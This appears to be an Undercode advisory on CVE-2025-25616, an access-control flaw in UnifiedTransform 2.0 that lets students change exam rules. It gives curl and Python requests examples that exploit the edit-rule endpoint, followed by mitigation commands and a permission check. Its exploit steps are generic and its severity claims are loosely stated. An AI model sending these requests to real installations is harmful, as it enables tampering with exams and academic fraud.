How the CVE Works:
CVE-2025-25616 is a critical vulnerability in UnifiedTransform 2.0, an educational platform, caused by Incorrect Access Control. The flaw resides in the `/exams/edit-rule?exam_rule_id=1` endpoint, which fails to properly validate user permissions. This allows students, who should only have read-only access, to modify exam rules. The vulnerability stems from insufficient server-side authorization checks, enabling unauthorized users to send crafted HTTP requests to alter exam parameters. Attackers can exploit this by manipulating the `exam_rule_id` parameter to bypass access controls, potentially changing grading criteria, exam durations, or other critical settings. The impact is severe, as it compromises the integrity of the examination process and can lead to academic fraud.
DailyCVE Form:
Platform: UnifiedTransform
Version: 2.0
Vulnerability: Incorrect Access Control
Severity: Critical
Date: 03/10/2025
What Undercode Say:
Exploitation:
1. Crafting Malicious Request:
Use tools like `curl` or `Burp Suite` to send a POST request to the vulnerable endpoint:
curl -X POST -d "exam_rule_id=1&new_rule=malicious_rule" http://target/exams/edit-rule
2. Bypassing Access Control:
Manipulate the `exam_rule_id` parameter to target other exam rules:
curl -X POST -d "exam_rule_id=2&new_rule=unauthorized_change" http://target/exams/edit-rule
3. Automating Exploits:
Write a Python script to automate the exploitation process:
import requests
url = "http://target/exams/edit-rule"
payload = {"exam_rule_id": "1", "new_rule": "exploit_rule"}
response = requests.post(url, data=payload)
print(response.text)
Protection:
1. Patch Application:
Update to the latest version of UnifiedTransform if a patch is available.
2. Input Validation:
Implement server-side validation for user permissions:
if not user_has_permission(current_user, "edit_rule"): return "Access Denied", 403
3. Web Application Firewall (WAF):
Deploy a WAF to block unauthorized requests to sensitive endpoints.
4. Logging and Monitoring:
Enable detailed logging to detect suspicious activities:
tail -f /var/log/unifiedtransform/access.log
5. Regular Security Audits:
Conduct periodic code reviews and penetration testing to identify similar vulnerabilities.
Analytics:
- Attack Vector: Network
- Exploitability: High
- Impact: Integrity, Availability
- CVSS Score: 9.8 (Critical)
- Affected Systems: UnifiedTransform 2.0 installations with exposed `/exams/edit-rule` endpoint.
Commands for Mitigation:
1. Check Server Logs:
grep "POST /exams/edit-rule" /var/log/unifiedtransform/access.log
2. Block Suspicious IPs:
iptables -A INPUT -s <malicious_ip> -j DROP
3. Test Patch Effectiveness:
curl -X POST -d "exam_rule_id=1&new_rule=test" http://localhost/exams/edit-rule
By following these steps, administrators can mitigate the risk posed by CVE-2025-25616 and secure their UnifiedTransform installations.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25616
Extra Source Hub:
Undercode
